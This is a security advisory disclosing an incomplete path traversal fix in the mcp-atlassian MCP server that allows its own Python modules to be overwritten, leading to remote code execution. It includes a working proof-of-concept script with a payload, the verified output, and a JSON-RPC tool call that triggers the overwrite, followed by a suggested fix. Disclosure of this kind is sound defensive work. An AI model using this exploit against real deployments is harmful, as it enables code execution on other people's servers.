CVE-2026-77271: MCP Atlassian: Incomplete path traversal fix allows intra-CWD module overwrite and RCE (bypass of CVE-2026-27825)

Summary

The path traversal fix introduced in v0.17.0 (GHSA-xjgw-4wvw-rgm4) is incomplete. validatesafepath() is called without an explicit basedir, defaulting to os.getcwd(). In standard container deployments the process CWD is the application directory (e.g. /app), so paths within that directory, including the application's own Python source modules, pass validation without raising an exception. An attacker can overwrite a module file and achieve remote code execution on the next process restart. Versions >= 0.17.0 are not fully patched as stated in the original advisory. Confirmed on v0.21.0 (latest).

Details

src/mcpatlassian/utils/io.py — validatesafepath() defaults to CWD when no basedir is supplied:

python def validatesafepath(path, basedir=None) -> Path: if basedir is None: basedir = os.getcwd() # root of the issue resolvedbase = Path(basedir).resolve(strict=False) ... if not resolvedpath.isrelativeto(resolvedbase): raise ValueError("Path traversal detected")

Both call sites in src/mcpatlassian/confluence/attachments.py omit basedir:

python validatesafepath(targetpath) # line ~227, downloadattachment() validatesafepath(targetdir) # line ~270, downloadcontentattachments()

When the process CWD is /app, any path under /app satisfies isrelativeto(CWD) and passes the guard, including all Python source modules:

/app/src/mcpatlassian/confluence/attachments.py -> passes, no exception /app/src/mcpatlassian/servers/main.py -> passes, no exception /app/.env -> passes, no exception

PoC

Prerequisites: same as GHSA-xjgw-4wvw-rgm4 — Confluence credentials with write access to at least one page, and network access to the MCP HTTP port. Additionally requires Python 3.10+ and uvx to run the proof below.

The script imports validatesafepath directly from the installed package, not a simulation of the function.

python pocbypass.py import os, tempfile, shutil, importlib.util from pathlib import Path from mcpatlassian.utils.io import validatesafepath # real package

print(f"Module: {validatesafepath.module}")

Simulate /app (standard container CWD) appdir = tempfile.mkdtemp(prefix="mcpatlassianapp") moduledir = os.path.join(appdir, "src", "mcpatlassian") os.makedirs(moduledir) modulepath = os.path.join(moduledir, "attachments.py") Path(modulepath).writetext('def getsecret(): return "LEGITIMATE"\n') os.chdir(appdir)

Control: classic traversal is blocked try: validatesafepath("/etc/passwd") except ValueError: print("[OK] /etc/passwd blocked")

Bypass: intra-CWD path passes without exception result = validatesafepath(modulepath) print(f"[BYPASS] {result} - no exception raised")

Overwrite module with attacker payload (content sourced from a Confluence attachment uploaded by the attacker) Path(modulepath).writebytes( b"import os\nPWNED=True\n" b"def getsecret():\n" b" os.system('id')\n" b" return 'PWNED'\n" ) print("[WRITE] Module overwritten with malicious payload")

Simulate process restart / module reload spec = importlib.util.specfromfilelocation("m", modulepath) mod = importlib.util.modulefromspec(spec) spec.loader.execmodule(mod) # os.system('id') executes here

print(f"[RCE] getsecret() = {repr(mod.getsecret())}") print(f"[RCE] PWNED = {mod.PWNED}")

shutil.rmtree(appdir)

bash uvx --from mcp-atlassian python pocbypass.py

Verified output (mcp-atlassian 0.21.0):

Module: mcpatlassian.utils.io

[OK] /etc/passwd blocked [BYPASS] /tmp/mcpatlassianapp.../src/mcpatlassian/attachments.py - no exception raised [WRITE] Module overwritten with malicious payload uid=1000(appuser) gid=1000(appuser) groups=1000(appuser) [RCE] getsecret() = 'PWNED' [RCE] PWNED = True

Triggering via MCP tool: upload a malicious .py file as a Confluence attachment, then call:

json { "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "confluencedownloadattachment", "arguments": { "pageid": "<pageid>", "attachmentid": "<maliciousattachmentid>", "downloadpath": "/app/src/mcpatlassian/confluence/attachments.py" } } }

validatesafepath does not raise. The module is overwritten and the payload executes on the next process restart.

Impact

Affected versions: 0.17.0 through 0.21.0 (latest).

Attack prerequisites are identical to those documented in GHSA-xjgw-4wvw-rgm4, which was rated CVSS 9.1 Critical. Operators who upgraded to >= 0.17.0 based on that advisory remain exposed. The MCP HTTP server binds to 0.0.0.0 with no authentication by default.

Suggested fix: pass a dedicated, explicitly configured directory as basedir instead of relying on CWD:

python DOWNLOADBASE = Path( os.environ.get("MCPDOWNLOADDIR", "/tmp/mcp-downloads") ).resolve()

validatesafepath(targetpath, basedir=DOWNLOADBASE)